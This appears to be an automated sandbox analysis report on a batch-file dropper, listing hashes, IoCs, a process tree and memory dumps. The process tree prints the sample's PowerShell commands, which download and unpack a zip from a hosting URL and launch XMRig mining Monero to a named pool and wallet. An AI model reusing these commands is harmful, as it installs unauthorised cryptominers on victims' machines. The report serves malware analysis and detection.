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Analysis

  • max time kernel
    1792s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2023, 12:49

General

  • Target

    tesy - Copy (3).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2688
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2756
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:4980
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3132

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm

      Filesize

      16KB

      MD5

      aa9fd720eb9794dc0ad2a57c3928a5a7

      SHA1

      19747339fd8be1f0337a446da46bcf35e75270c2

      SHA256

      7496b908226c0de789900d8f6fcc8ac4da803277da96bd98db35c3bc9275fb08

      SHA512

      256f559b1bcb3f323bf09edadad080bcee92c80dbd00d6c0b6b168b0230a0cad3a4e447a5e754183a812eddf41bfe95940c5e5bf7f124938a2da563a65b44119

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      6c4805e00673bef922d51b1a7137028f

      SHA1

      0eabb38482d1733dd85a2af9c5342c2cafcd41eb

      SHA256

      7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

      SHA512

      eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s2zhazam.kh2.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\test.zip

      Filesize

      3.2MB

      MD5

      3238c0d25d84b6f0bb645bbb29cdbf61

      SHA1

      11ae550c8a82c0793862c366b92072ad7e18befe

      SHA256

      b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

      SHA512

      d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

      Filesize

      170B

      MD5

      78657df2e34e338ff135d3dde69177bf

      SHA1

      d5048a4270b7ba599e941d26d61bfa2e8da31fce

      SHA256

      9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

      SHA512

      f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

      Filesize

      7.9MB

      MD5

      4813fa6d610e180b097eae0ce636d2aa

      SHA1

      1e9cd17ea32af1337dd9a664431c809dd8a64d76

      SHA256

      9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

      SHA512

      5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

    • memory/2688-33-0x00000201DD570000-0x00000201DD582000-memory.dmp

      Filesize

      72KB

    • memory/2688-32-0x00000201C5180000-0x00000201C5190000-memory.dmp

      Filesize

      64KB

    • memory/2688-34-0x00000201C5210000-0x00000201C521A000-memory.dmp

      Filesize

      40KB

    • memory/2688-31-0x00007FF95FEE0000-0x00007FF9609A1000-memory.dmp

      Filesize

      10.8MB

    • memory/2688-36-0x00000201C5180000-0x00000201C5190000-memory.dmp

      Filesize

      64KB

    • memory/2688-44-0x00007FF95FEE0000-0x00007FF9609A1000-memory.dmp

      Filesize

      10.8MB

    • memory/2688-30-0x00000201C5180000-0x00000201C5190000-memory.dmp

      Filesize

      64KB

    • memory/2688-24-0x00000201C5180000-0x00000201C5190000-memory.dmp

      Filesize

      64KB

    • memory/2688-18-0x00007FF95FEE0000-0x00007FF9609A1000-memory.dmp

      Filesize

      10.8MB

    • memory/2756-77-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-86-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-51-0x0000025607B10000-0x0000025607B50000-memory.dmp

      Filesize

      256KB

    • memory/2756-52-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-53-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-54-0x0000025609400000-0x0000025609420000-memory.dmp

      Filesize

      128KB

    • memory/2756-55-0x0000025609420000-0x0000025609440000-memory.dmp

      Filesize

      128KB

    • memory/2756-56-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-57-0x0000025609400000-0x0000025609420000-memory.dmp

      Filesize

      128KB

    • memory/2756-58-0x0000025609420000-0x0000025609440000-memory.dmp

      Filesize

      128KB

    • memory/2756-59-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-60-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-61-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-62-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-63-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-64-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-65-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-66-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-67-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-68-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-69-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-70-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-71-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-72-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-73-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-74-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-75-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-76-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-49-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-78-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-79-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-80-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-81-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-82-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-83-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-84-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-85-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-50-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-87-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-88-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-89-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-90-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-91-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-92-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-93-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-94-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-95-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-96-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-97-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-98-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-99-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-100-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-101-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-102-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-103-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-104-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-105-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-106-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-107-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-108-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-109-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-110-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-111-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-112-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-113-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-114-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-115-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-116-0x00007FF617C10000-0x00007FF618713000-memory.dmp

      Filesize

      11.0MB

    • memory/2756-48-0x0000025607AC0000-0x0000025607AE0000-memory.dmp

      Filesize

      128KB

    • memory/4440-5-0x00000184E7EA0000-0x00000184E7EC2000-memory.dmp

      Filesize

      136KB

    • memory/4440-10-0x00007FF95FEE0000-0x00007FF9609A1000-memory.dmp

      Filesize

      10.8MB

    • memory/4440-11-0x00000184E7F00000-0x00000184E7F10000-memory.dmp

      Filesize

      64KB

    • memory/4440-12-0x00000184E7F00000-0x00000184E7F10000-memory.dmp

      Filesize

      64KB

    • memory/4440-16-0x00007FF95FEE0000-0x00007FF9609A1000-memory.dmp

      Filesize

      10.8MB